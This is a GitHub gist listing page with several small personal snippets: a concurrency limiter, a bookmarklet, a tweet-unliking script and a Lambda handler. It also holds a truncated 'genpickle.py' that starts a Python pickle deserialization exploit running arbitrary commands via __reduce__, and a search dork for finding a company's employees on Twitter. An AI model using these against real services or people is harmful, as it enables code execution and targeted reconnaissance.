Skip to content

Instantly share code, notes, and snippets.

@cqsd
cqsd / async-limit.js
Created July 2, 2020 04:11
basically a closure-based semaphore
/**
* Limit concurrent asynchronous execution of a function.
*
* Stolen from this:
* https://dev.to/ycmjason/limit-concurrent-asynchronous-calls-5bae
*
* @param fn {Function} async function
* @paranm n {Number} max execution concurrency
*/
const asyncLimit = (fn, n) => {
@cqsd
cqsd / style-rfc.js
Created June 30, 2020 10:08
bookmarklets
(function() {
const dbs = document.body.style;
dbs.color = '#eee';
dbs.background = '#222';
dbs.width = '800px';
dbs.margin = '0 auto';
console.log('it works fuck off');
for (const d of document.getElementsByClassName('docinfo')) {
d.style.background = '#111';
};
@cqsd
cqsd / dorks
Last active April 22, 2020 18:15
snippets
# find people who put their place of work in their twitter bio
site:twitter.com -inurl:status -inurl:statuses -inurl:lists -inurl:COMPANY "@COMPANY"
@cqsd
cqsd / unlike-tweets.js
Last active August 23, 2022 14:40
script to unlike tweets using twitter web (use on https://twitter.com/USERNAME/likes)
document.onscroll = (() => {
let totalUnliked = 0;
return async () => {
const tweets = document.querySelectorAll('[role="article"]');
await tweets.forEach(async e => {
const likeButton = document.querySelector('[data-testid="unlike"]');
if (typeof likeButton !== 'undefined' && likeButton) {
await likeButton.click();
totalUnliked += 1;
console.log(totalUnliked);
import json
import boto3
s3 = boto3.client('s3')
def lambda_handler(event, context):
# s3 trigger can have multiple records
@cqsd
cqsd / genpickle.py
Created July 31, 2018 05:28
i don't know how to paste with newlines from windows to the linux subsystem, so here we are. im gonna curl it to my own machine
#!/usr/bin/env python
from __future__ import print_function
import codecs
import pickle
import subprocess
def exploit(cmd):
class Exploit(object):
def __reduce__(self):